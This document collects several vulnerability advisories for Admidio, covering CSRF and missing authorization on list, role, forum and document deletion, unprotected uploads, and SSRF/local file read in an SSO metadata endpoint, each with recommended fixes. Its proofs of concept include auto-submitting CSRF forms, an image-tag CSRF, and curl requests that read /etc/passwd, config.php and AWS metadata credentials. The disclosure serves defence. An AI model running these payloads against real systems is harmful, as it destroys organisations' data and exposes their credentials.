Summary
The delete mode handler in mylistfunction.php permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights.
Vulnerable Code File: modules/groups-roles/mylistfunction.php
The CSRF token validation at lines 81–82 is scoped exclusively to the save, saveas, and savetemporary modes:
php // Line 81-82 — only runs for save modes $categoryReportConfigForm = $gCurrentSession->getFormObject($POST['admcsrftoken']); if ($POST['admcsrftoken'] !== $categoryReportConfigForm->getCsrfToken()) { throw new Exception('Invalid or missing CSRF token!'); }
<img width="857" height="162" alt="imagen" src="https://github.com/user-attachments/assets/caec390e-ba6f-40f0-bb9c-a8870679da3d" />
The delete case at lines 159–161 executes the destructive operation with no token check:
php } elseif ($getMode === 'delete') { // delete list configuration $list->delete(); // no CSRF validation echo jsonencode(array('status' => 'success', ...)); exit(); }
<img width="560" height="133" alt="imagen" src="https://github.com/user-attachments/assets/2d5eff8e-bbce-49b9-b6d5-77f4e2e6db69" />
A global input guard at lines 40–48 requires a non-empty column[] POST parameter for all modes including delete. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as LASTNAME is sufficient.
Impact
Any authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (lstglobal = 1): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.
---
Proof of Concept
First my video PoC, after that, the proof of concept with detail.
Watch Video
Prerequisites: Victim is authenticated in Admidio. Attacker knows the target list UUID (visible in the page URL at modules/groups-roles/mylist.php?listuuid=...)
1. Step 1: Attacker serves this page from any HTTP origin:
html <!DOCTYPE html> <html> <body> <form id="f" method="POST" action="http://TARGET/modules/groups-roles/mylistfunction.php?mode=delete&listuuid=TARGETUUID"> <input type="hidden" name="column[]" value="LASTNAME"> </form> <script>document.getElementById('f').submit();</script> </body> </html>
Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok?
2. Step 2: Victim visits the attacker page while logged into Admidio. 3. Step 3: Server responds immediately:
json {"status":"success","url":".../modules/groups-roles/mylist.php"}
4. Step 4: List is permanently deleted. Verified via: sql SELECT lstname FROM admlists WHERE lstuuid='TARGETUUID'; -- Empty result set No admcsrftoken field is required anywhere in the request.
Recommendation Fix:
It's so simple.
Apply the same SecurityUtils::validateCsrfToken() pattern already used in the save modes:
php } elseif ($getMode === 'delete') { SecurityUtils::validateCsrfToken($POST['admcsrftoken']); $list->delete(); echo jsonencode(array('status' => 'success', ...)); exit(); }
Additionally, the column[] input guard at lines 40–48 should be moved inside the inarray($getMode, ['save', 'saveas', 'savetemporary']) block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.
<img width="751" height="240" alt="imagen" src="https://github.com/user-attachments/assets/607510b9-64a9-49fb-8806-604b651d31a8" />
Reported by: Juan Felipe Oz @JF0x0r LinkedIn
Summary
Admidio relies on admmyfiles/.htaccess to deny direct HTTP access to uploaded documents. The Docker image ships with AllowOverride None in the Apache configuration, which causes Apache to silently ignore all .htaccess files. As a result, any file uploaded to the documents module regardless of the role-based permissions configured in the UI, is directly accessible over HTTP without authentication by anyone who knows the file path. The file path is disclosed in the upload response JSON.
---
Root Cause
File 1: Intended protection (ignored): admmyfiles/.htaccess apache Require all denied <img width="408" height="403" alt="imagen" src="https://github.com/user-attachments/assets/95f0d389-a1a9-4dc4-9840-7f189d2c58ff" />
File 2: Apache config that neutralizes it:
Command in order to search in Docker container: docker exec admidio-sec-app cat /etc/apache2/apache2.conf
/etc/apache2/apache2.conf (Docker image) apache <Directory ${APACHEDOCUMENTROOT}> AllowOverride None </Directory>
<img width="492" height="328" alt="imagen" src="https://github.com/user-attachments/assets/2f2e09b1-0c2e-4932-8698-a40f6b92e917" />
AllowOverride None instructs Apache to skip .htaccess processing entirely, the deny rule never executes. The upload directory is inside the web root at /opt/app-root/src/admmyfiles/ and returns HTTP 200 for direct requests.
File 3: Upload response leaks the direct URL: system/fileupload.php, upload response JSON:
<img width="1528" height="624" alt="imagen" src="https://github.com/user-attachments/assets/50e66fde-ff41-4efa-adc9-ceeb5b23a97d" />
json { "files": [{ "name": "sensitivepoc.txt", "url": "http://TARGET/admmyfiles/documentsresearch/TEST-SENSITIVE/sensitivepoc.txt" }] }
Verified PoC
Step 1: Admin creates a restricted folder (visible only to Administrator role): modules/documents-files.php → permissions set to role Administrator only.
<img width="1161" height="784" alt="imagen" src="https://github.com/user-attachments/assets/25d81e44-9a7c-4991-b72e-6e664d176695" />
Step 2: Admin uploads a file to the restricted folder. Upload response returns: http://TARGET/admmyfiles/documentsresearch/TEST-SENSITIVE/sensitivepoc.txt
<img width="1239" height="294" alt="imagen" src="https://github.com/user-attachments/assets/84c1bcd1-47d7-4115-ac0f-653b0a6d7301" />
Step 3: Unauthenticated request retrieves the file: bash curl -X GET 'http://TARGET/admmyfiles/documentsresearch/TEST-SENSITIVE/sensitivepoc.txt' Response: full file contents — no authentication required
<img width="1051" height="150" alt="imagen" src="https://github.com/user-attachments/assets/1ed7fab7-59cb-4d5b-8c60-12108490d1e4" />
Step 4: Confirm folder is role-restricted: sql SELECT filname, folname, folpublic FROM admfiles JOIN admfolders ON filfolid = folid ORDER BY filid DESC LIMIT 5; -- folpublic = 0, role restricted — yet file is publicly accessible ---
Impact
- Any document uploaded to Admidio including files restricted to specific roles is publicly accessible via direct HTTP request with no authentication required - Role-based access control on the documents module is completely bypassed at the filesystem level - Sensitive organizational documents (contracts, member data, financial records) are exposed to anyone who can guess or construct the file path - The upload API response discloses the direct URL to the uploader, making path enumeration trivial
Recommended Fix
Option 1 (preferred): Enable AllowOverride in Apache config: apache <Directory /opt/app-root/src/admmyfiles> AllowOverride All </Directory>
Option 2: Move uploads outside the web root: Store uploaded files in a directory outside DOCUMENTROOT and serve them exclusively through Admidio's download handler (modules/documents-files.php?mode=download), which enforces role checks before serving the file.
Option 3: Apache-level explicit deny (does not require .htaccess): apache <Directory /opt/app-root/src/admmyfiles> Require all denied </Directory> The most robust long-term fix is Option 2 — moving uploads outside the web root eliminates the dependency on Apache configuration correctness entirely.
Reported by: Juan Felipe Oz @JF0x0r LinkedIn
Summary
The delete, activate, and deactivate modes in modules/groups-roles/groupsroles.php perform destructive state changes on organizational roles but never validate an anti-CSRF token. The client-side UI passes a CSRF token to callUrlHideElement(), which includes it in the POST body, but the server-side handlers ignore $POST["admcsrftoken"] entirely for these three modes. An attacker who can discover a role UUID (visible in the public cards view when the module is publicly accessible) can embed a forged POST form on any external page and trick any user with the rolassignroles right into deleting or toggling roles for the organization. Role deletion is permanent and cascades to all memberships, event associations, and rights data.
Details
CSRF Token Is Sent but Never Validated
File: D:/bugcrowd/admidio/repo/modules/groups-roles/groupsroles.php, lines 150-173
The save mode (lines 143-148) is CSRF-protected via RolesService::save() which calls getFormObject($POST["admcsrftoken"])->validate(). The delete, activate, and deactivate modes receive no equivalent protection:
php case 'delete': // delete role from database $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); if ($role->delete()) { echo jsonencode(array('status' => 'success')); } break;
case 'activate': // set role active $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); $role->activate(); echo 'done'; break;
case 'deactivate': // set role inactive $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); $role->deactivate(); echo 'done'; break;
The only input validated is $getRoleUUID at line 41, checked as a 'uuid' type. This prevents SQL injection but provides no CSRF protection.
Client-Side UI Passes Token; Server Ignores It
File: D:/bugcrowd/admidio/repo/system/js/commonfunctions.js, lines 101-129
The presenter embeds the CSRF token into the JavaScript callUrlHideElement() call (GroupsRolesPresenter.php line 131). The function sends it in an AJAX POST body:
javascript function callUrlHideElement(elementId, url, csrfToken, callback) { $.post(url, { "admcsrftoken": csrfToken, // sent in POST body "uuid": elementId }, function(data) { ... }); }
The server-side handler reads mode from $GET but never reads or validates $POST["admcsrftoken"] for delete, activate, or deactivate. An attacker omits the token field entirely; the server does not check for its presence.
Who Can Be the CSRF Victim
File: D:/bugcrowd/admidio/repo/modules/groups-roles/groupsroles.php, lines 49-54
php if ($getMode !== 'cards') { // only users with the special right are allowed to manage roles if (!$gCurrentUser->isAdministratorRoles()) { throw new Exception('SYSNORIGHTS'); } }
isAdministratorRoles() maps to checkRolesRight('rolassignroles'). This is a delegated organizational right, not full system administrator (isAdministrator()) access. Any member granted the right to manage roles -- for example, a volunteer coordinator or chapter secretary -- is a valid CSRF victim.
Role UUIDs Are Discoverable Without Authentication
File: D:/bugcrowd/admidio/repo/src/UI/Presenter/GroupsRolesPresenter.php, line 84
php $templateRow['id'] = 'role' . $role->getValue('roluuid');
The cards mode (the default view) does not require the rolassignroles right and is publicly reachable when the module is enabled. Role UUIDs appear as HTML element IDs and in action data attributes in the page source. An unauthenticated visitor can collect all role UUIDs before staging the CSRF attack against a logged-in victim.
Role::delete() Is Permanent and Cascading
File: D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php, lines 264-288
php $this->db->startTransaction();
// Remove all role dependency relationships $sql = 'DELETE FROM ' . TBLROLEDEPENDENCIES . ' WHERE rldrolidparent = ? OR rldrolidchild = ?'; $this->db->queryPrepared($sql, array($rolId, $rolId));
// Remove all memberships $sql = 'DELETE FROM ' . TBLMEMBERS . ' WHERE memrolid = ?'; $this->db->queryPrepared($sql, array($rolId));
// Disassociate all events linked to this role $sql = 'UPDATE ' . TBLEVENTS . ' SET datrolid = NULL WHERE datrolid = ?'; $this->db->queryPrepared($sql, array($rolId));
// Remove all access-right entries for this role $sql = 'DELETE FROM ' . TBLROLESRIGHTSDATA . ' WHERE rrdrolid = ?'; $this->db->queryPrepared($sql, array($rolId));
There is no soft-delete or recycle bin. Deletion permanently removes the role record, all memberships within it, all role dependency rules, and all per-module access rights granted to the role.
PoC
The attacker hosts the following HTML page and tricks a user with the rolassignroles right into visiting it while logged in to Admidio.
Step 1: Collect role UUIDs from the public cards view (no login required)
curl "https://TARGET/admprogram/modules/groups-roles/groupsroles.php?mode=cards"
Role UUIDs appear in the HTML source as element IDs (id="role<UUID>") and in action data attributes.
Step 2: Forge a deletion request (no CSRF token needed)
curl -X POST \\ "https://TARGET/admprogram/modules/groups-roles/groupsroles.php?mode=delete&roleuuid=ROLEUUID" \\ -H "Cookie: ADMIDIOSESSIONID=victimsession" \\ -d ""
Expected response: {"status":"success"}
The role, all its memberships, all event associations, and all access-right entries are permanently deleted. No admcsrftoken field is required.
Step 3 (CSRF delivery -- attacker hosts externally)
html <!DOCTYPE html> <html> <body onload="document.getElementById('f').submit()"> <form id="f" method="POST" action="https://TARGET/admprogram/modules/groups-roles/groupsroles.php?mode=delete&roleuuid=ROLEUUID"> <!-- No admcsrftoken field needed --> </form> </body> </html>
When any user with rolassignroles views this page while authenticated, the targeted role is permanently deleted without any confirmation from the victim.
Step 4 (Deactivate via CSRF -- disables a role without deleting it)
html <form id="f" method="POST" action="https://TARGET/admprogram/modules/groups-roles/groupsroles.php?mode=deactivate&roleuuid=ROLEUUID"> </form>
Deactivating a role removes all active members from the role and hides it, effectively revoking access for all members without destroying the role record.
Impact
- Permanent Role Deletion: A CSRF-triggered delete request irrecoverably removes the targeted role and all associated memberships, event links, and permission grants. There is no undo path other than a database restore. - Mass Membership Revocation: Every member of the deleted role loses their membership record simultaneously. Role membership in Admidio controls access to events, document folders, mailing lists, and custom profile-field visibility. - Role State Manipulation: An attacker can force activate or deactivate on any role. Deactivation silently strips access from an entire group without deleting the role record. - Low Attack Surface Requirement: The attacker only needs to trick a user with the delegated rolassignroles right -- not a full system administrator. Such users are common in organizations that delegate group management to department heads or committee chairs. - UUID Pre-Collection Without Authentication: Role UUIDs are harvested from the public cards view before the CSRF attack is staged, making target selection trivial.
Recommended Fix
Add SecurityUtils::validateCsrfToken($POST["admcsrftoken"]) at the beginning of each vulnerable case, consistent with how other mutative actions in the codebase are protected.
php // File: modules/groups-roles/groupsroles.php
case 'delete': SecurityUtils::validateCsrfToken($POST['admcsrftoken']); $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); if ($role->delete()) { echo jsonencode(array('status' => 'success')); } break;
case 'activate': SecurityUtils::validateCsrfToken($POST['admcsrftoken']); $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); $role->activate(); echo 'done'; break;
case 'deactivate': SecurityUtils::validateCsrfToken($POST['admcsrftoken']); $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); $role->deactivate(); echo 'done'; break;
Since callUrlHideElement already sends admcsrftoken in the POST body, adding the server-side validation call is a one-line fix per case and requires no changes to the front-end JavaScript or templates.
Summary
The forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the topicdelete and postdelete actions in forum.php only validate the CSRF token but perform no authorization check before calling delete(). Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID.
This is inconsistent with the save/edit operations, which properly check isAdministratorForum() and ownership before allowing modifications.
Details
Vulnerable Code Path 1: Topic Deletion
File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 98-108
The topicdelete handler validates CSRF but never calls $topic->isEditable():
php case 'topicdelete': // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($POST['admcsrftoken']);
$topic = new Topic($gDb); $topic->readDataByUuid($getTopicUUID); $topic->delete(); echo jsonencode(array('status' => 'success')); break;
The Topic class has an isEditable() method (lines 144-164 of ListConfiguration.php) that properly checks isAdministratorForum() and getAllEditableCategories('FOT'), but it is never called in the delete path.
Vulnerable Code Path 2: Post Deletion
File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 125-134
The postdelete handler also validates CSRF but performs no authorization check:
php case 'postdelete': // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($POST['admcsrftoken']);
$post = new Post($gDb); $post->readDataByUuid($getPostUUID); $post->delete(); echo jsonencode(array('status' => 'success')); break;
Contrast with Save Operations (Properly Authorized)
The ForumTopicService::savePost() method in D:\bugcrowd\admidio\repo\src\Forum\Service\ForumTopicService.php lines 117-121 correctly verifies authorization:
php if ($postUUID !== '') { $post->readDataByUuid($postUUID); if (!$gCurrentUser->isAdministratorForum() && $post->getValue('fopusridcreate') !== $gCurrentUser->getValue('usrid')) { throw new Exception('You are not allowed to edit this post.'); } }
The delete operations should have equivalent checks but do not.
Module-Level Access Check
File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 53-59
The only check before the delete operations is the module-level access check:
php if ($gSettingsManager->getInt('forummoduleenabled') === 0) { throw new Exception('SYSMODULEDISABLED'); } elseif ($gSettingsManager->getInt('forummoduleenabled') === 1 && !inarray($getMode, array('cards', 'list', 'topic')) && !$gValidLogin) { throw new Exception('SYSNORIGHTS'); }
This only ensures the user is logged in for write operations. It does not check whether the user has forum admin rights or is the author of the content being deleted.
PoC
Prerequisites: Two user accounts - a regular logged-in user (attacker) and a forum admin who has created topics and posts.
Step 1: Attacker discovers a topic UUID
The attacker visits any forum topic page. Topic UUIDs are visible in the URL and page source.
Step 2: Attacker deletes the topic (and all its posts)
curl -X POST "https://TARGET/admprogram/modules/forum.php?mode=topicdelete&topicuuid=<TOPICUUID>" \ -H "Cookie: ADMIDIOSESSIONID=<attackersession>" \ -d "admcsrftoken=<attackercsrftoken>"
Expected response: {"status":"success"}
The topic and all its posts are permanently deleted from the database.
Step 3: Attacker deletes an individual post
curl -X POST "https://TARGET/admprogram/modules/forum.php?mode=postdelete&postuuid=<POSTUUID>" \ -H "Cookie: ADMIDIOSESSIONID=<attackersession>" \ -d "admcsrftoken=<attackercsrftoken>"
Expected response: {"status":"success"}
Impact
- Data Destruction: Any logged-in user can permanently delete any forum topic (including all associated posts) or any individual post. The Topic::delete() method cascades and removes all posts belonging to the topic. - Content Integrity: Forum content created by administrators or other authorized users can be destroyed by any regular member. - No Undo: The deletion is permanent. There is no soft-delete or trash mechanism. The only recovery would be from database backups. - Low Barrier: The attacker only needs a valid login and the UUID of the target content. UUIDs are visible in forum page URLs and are not secret.
Recommended Fix
Fix 1: Add authorization check to topicdelete
php case 'topicdelete': SecurityUtils::validateCsrfToken($POST['admcsrftoken']);
$topic = new Topic($gDb); $topic->readDataByUuid($getTopicUUID);
// Add authorization check if (!$topic->isEditable()) { throw new Exception('SYSNORIGHTS'); }
$topic->delete(); echo jsonencode(array('status' => 'success')); break;
Fix 2: Add authorization check to postdelete
php case 'postdelete': SecurityUtils::validateCsrfToken($POST['admcsrftoken']);
$post = new Post($gDb); $post->readDataByUuid($getPostUUID);
// Add authorization check - only forum admins or the post author can delete if (!$gCurrentUser->isAdministratorForum() && (int)$post->getValue('fopusridcreate') !== $gCurrentUserId) { throw new Exception('SYSNORIGHTS'); }
$post->delete(); echo jsonencode(array('status' => 'success')); break;
Summary
The SSO metadata fetch endpoint at modules/sso/fetchmetadata.php accepts an arbitrary URL via $GET['url'], validates it only with PHP's FILTERVALIDATEURL, and passes it directly to filegetcontents(). FILTERVALIDATEURL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.
Details
Vulnerable Code
File: D:/bugcrowd/admidio/repo/modules/sso/fetchmetadata.php, lines 9-34
php $url = filtervar($GET['url'], FILTERVALIDATEURL); if (!$url) { httpresponsecode(400); echo "Invalid URL"; exit; }
// Fetch metadata from external server $metadata = filegetcontents($url); if ($metadata === false) { httpresponsecode(500); echo "Failed to fetch metadata"; exit; }
echo $metadata;
FILTERVALIDATEURL Does Not Block Dangerous Schemes
PHP's FILTERVALIDATEURL is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by filegetcontents():
| Scheme | Impact | |--------|--------| | file:///etc/passwd | Read any local file the web server process can access | | http://127.0.0.1/ | SSRF to localhost services (databases, admin panels, internal APIs) | | http://169.254.169.254/latest/meta-data/ | AWS EC2 instance metadata (IAM credentials) | | data://text/plain,payload | Data URI content injection |
Confirmed by testing PHP's filtervar() and filegetcontents() with all of the above:
php -r "vardump(filtervar('file:///etc/passwd', FILTERVALIDATEURL));" // string(18) "file:///etc/passwd" <-- passes validation
php -r "echo filegetcontents('file:///etc/passwd');" // root:x:0:0:root:/root:/bin/bash <-- file contents returned
file:// Does Not Require allowurlfopen
PHP's file:// stream wrapper is the native filesystem handler and is always available regardless of the allowurlfopen INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.
Response Is Returned Verbatim
The fetched content is echoed directly at line 34 (echo $metadata), making the complete contents of any readable local file or internal service response available to the caller.
PoC
Prerequisites: Administrator account session cookie and CSRF token.
Step 1: Read the Admidio database configuration file
curl -G "https://TARGET/admprogram/modules/sso/fetchmetadata.php" \ -H "Cookie: ADMIDIOSESSIONID=<adminsession>" \ --data-urlencode "url=file:///var/www/html/admmyfiles/config.php"
Expected response: Full contents of config.php including the database host, username, and password in plaintext.
Step 2: Read system password file
curl -G "https://TARGET/admprogram/modules/sso/fetchmetadata.php" \ -H "Cookie: ADMIDIOSESSIONID=<adminsession>" \ --data-urlencode "url=file:///etc/passwd"
Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)
curl -G "https://TARGET/admprogram/modules/sso/fetchmetadata.php" \ -H "Cookie: ADMIDIOSESSIONID=<adminsession>" \ --data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Expected response: IAM role name followed by temporary AWS access key and secret.
Step 4: SSRF to an internal service on localhost
curl -G "https://TARGET/admprogram/modules/sso/fetchmetadata.php" \ -H "Cookie: ADMIDIOSESSIONID=<adminsession>" \ --data-urlencode "url=http://127.0.0.1:6379/"
(Probes a Redis instance on localhost.)
Impact
- Local File Read: The attacker can read any file accessible to the PHP web server process, including Admidio's config.php (database credentials), /etc/passwd, private keys stored in the web root, and .env files. - Database Credential Theft: Reading config.php exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls. - Cloud Metadata Exposure: On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access. - Internal Network Reconnaissance: The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible. - Scope Change: Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.
Recommended Fix
Fix 1: Restrict to HTTPS scheme and block internal IP ranges
php $rawUrl = $GET['url'] ?? '';
// Only allow https:// scheme if (\!pregmatch('#^https://#i', $rawUrl)) { httpresponsecode(400); echo "Only HTTPS URLs are permitted"; exit; }
$url = filtervar($rawUrl, FILTERVALIDATEURL); if (\!$url) { httpresponsecode(400); echo "Invalid URL"; exit; }
// Resolve hostname and block internal/private IP ranges $host = parseurl($url, PHPURLHOST); $ip = gethostbyname($host); if (filtervar($ip, FILTERVALIDATEIP, FILTERFLAGNOPRIVRANGE | FILTERFLAGNORESRANGE) === false) { httpresponsecode(400); echo "URL resolves to a private or reserved IP address"; exit; }
$metadata = filegetcontents($url);
Fix 2: Use cURL with explicit scheme restriction
php $ch = curlinit($url); curlsetopt($ch, CURLOPTRETURNTRANSFER, true); curlsetopt($ch, CURLOPTPROTOCOLS, CURLPROTOHTTPS); curlsetopt($ch, CURLOPTREDIRPROTOCOLS, CURLPROTOHTTPS); curlsetopt($ch, CURLOPTFOLLOWLOCATION, false); curlsetopt($ch, CURLOPTTIMEOUT, 10); $metadata = curlexec($ch); curlclose($ch);
Note: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.
Summary
The documents and files module in Admidio does not verify whether the current user has permission to delete folders or files. The folderdelete and filedelete action handlers in modules/documents-files.php only perform a VIEW authorization check (getFolderForDownload / getFileForDownload) before calling delete(), and they never validate a CSRF token. Because the target UUIDs are read from $GET, deletion can be triggered by a plain HTTP GET request. When the module is in public mode (documentsfilesmoduleenabled = 1) and a folder is marked public (folpublic = true), an unauthenticated attacker can permanently destroy the entire document library. Even when the module requires login, any user with view-only access can delete content they are only permitted to read.
Details
Module Access Check
File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 72-76
The module only blocks unauthenticated access when the setting is 2 (members-only). When the setting is 1 (public), no login is required to reach any action handler:
php if ($gSettingsManager->getInt('documentsfilesmoduleenabled') === 0) { throw new Exception('SYSMODULEDISABLED'); } elseif ($gSettingsManager->getInt('documentsfilesmoduleenabled') === 2 && !$gValidLogin) { throw new Exception('SYSNORIGHTS'); }
Vulnerable Code Path 1: Folder Deletion
File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 122-133
php case 'folderdelete': if ($getFolderUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } else { $folder = new Folder($gDb); $folder->getFolderForDownload($getFolderUUID); // VIEW check only
$folder->delete(); // no CSRF token, no upload/admin check echo jsonencode(array('status' => 'success')); } break;
The target UUID is read exclusively from $GET at line 64:
php $getFolderUUID = admFuncVariableIsValid($GET, 'folderuuid', 'uuid', ...);
Vulnerable Code Path 2: File Deletion
File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 150-161
php case 'filedelete': if ($getFileUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } else { $file = new File($gDb); $file->getFileForDownload($getFileUUID); // VIEW check only
$file->delete(); // no CSRF token, no upload/admin check echo jsonencode(array('status' => 'success')); } break;
Same pattern as folderdelete. The file UUID is also read from $GET (line 69).
getFolderForDownload Grants VIEW Access to Public Folders Without Login
File: D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php, lines 432-438
php // If the folder is public (and the file is not locked) => allow if ($this->getValue('folpublic') && !$this->getValue('follocked')) { return true; }
This is the correct check for granting VIEW access to public folders. It is not an appropriate gate for a destructive delete operation.
Contrast with Other Write Operations (Properly Protected)
All other write operations in documents-files.php route through DocumentsService, which validates the CSRF token via getFormObject($POST['admcsrftoken']) before any mutation (DocumentsService.php lines 278, 332, 386, 448). The delete cases bypass this service entirely and receive no equivalent protection.
Folder::delete() Is Recursive and Permanent
File: D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php, lines 213-259
Folder::delete() recursively removes all sub-folders and files from both the database and the physical filesystem. There is no soft-delete or trash mechanism. A single call to folderdelete on the root folder permanently destroys the entire document library.
UI Shows Delete Buttons Only to Authorized Users (Not Enforced Server-Side)
File: D:/bugcrowd/admidio/repo/src/UI/Presenter/DocumentsPresenter.php, lines 546, 589
The presenter renders delete action links only when the user has upload rights (hasUploadRight()). This client-side restriction is not enforced server-side. Any HTTP client can send the GET request directly.
PoC
Scenario 1: Unauthenticated deletion of a public folder (zero credentials required)
Prerequisites: documentsfilesmoduleenabled = 1, target folder has folpublic = true.
Step 1: Discover folder UUIDs by fetching the public document list (no login needed):
curl "https://TARGET/admprogram/modules/documents-files.php?mode=list"
Step 2: Delete the entire folder tree permanently:
curl "https://TARGET/admprogram/modules/documents-files.php?mode=folderdelete&folderuuid=<FOLDERUUID>"
Expected response: {"status":"success"}
The folder, all its sub-folders, and all their files are permanently removed from the database and filesystem. No authentication or token is required.
Scenario 2: Authenticated view-only member deletes any accessible file
Prerequisites: documentsfilesmoduleenabled = 2 (members-only). Attacker has a regular member account with view rights to the target folder but no upload rights.
curl "https://TARGET/admprogram/modules/documents-files.php?mode=filedelete&fileuuid=<FILEUUID>" \ -H "Cookie: ADMIDIOSESSIONID=<viewonlysession>"
Expected response: {"status":"success"}
Scenario 3: Cross-site GET CSRF via image tag
Because deletion uses a plain GET request with no token, an attacker can embed the following in any HTML email or web page. When a logged-in Admidio member views the page, their browser fetches the URL with the session cookie attached:
html <img src="https://TARGET/admprogram/modules/documents-files.php?mode=folderdelete&folderuuid=<UUID>" width="1" height="1">
Impact
- Unauthenticated Data Destruction: When the module is in public mode and any folder is marked public, an unauthenticated remote attacker can permanently delete any or all documents and folders. No credentials or tokens are required. - Privilege Escalation (View to Delete): Any logged-in member with view-only access can delete content they are only permitted to read, bypassing the hasUploadRight() permission boundary. - Cross-Site CSRF: Because UUIDs appear in page URLs visible to authenticated users, an attacker can embed a GET-based CSRF payload in phishing content to trigger deletion on behalf of any victim. - No Recovery Path: Folder::delete() and File::delete() are permanent operations. The only recovery is from a database and filesystem backup. - Full Organizational Impact: Deletion of the root documents folder recursively removes the entire document library of the organization.
Recommended Fix
Fix 1: Add authorization check and CSRF token validation to both delete handlers
php case 'folderdelete': SecurityUtils::validateCsrfToken($POST['admcsrftoken']); if ($getFolderUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } $folder = new Folder($gDb); $folder->getFolderForDownload($getFolderUUID); if (!$gCurrentUser->isAdministratorDocumentsFiles() && !$folder->hasUploadRight()) { throw new Exception('SYSNORIGHTS'); } $folder->delete(); echo jsonencode(array('status' => 'success')); break;
case 'filedelete': SecurityUtils::validateCsrfToken($POST['admcsrftoken']); if ($getFileUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } $file = new File($gDb); $file->getFileForDownload($getFileUUID); $parentFolder = new Folder($gDb); $parentFolder->readDataById((int)$file->getValue('filfolid')); if (!$gCurrentUser->isAdministratorDocumentsFiles() && !$parentFolder->hasUploadRight()) { throw new Exception('SYSNORIGHTS'); } $file->delete(); echo jsonencode(array('status' => 'success')); break;
Fix 2: Move folderuuid and fileuuid to POST parameters for delete operations
Reading the UUID from $GET enables GET-based CSRF. Moving to $POST and validating the CSRF token together closes both issues simultaneously.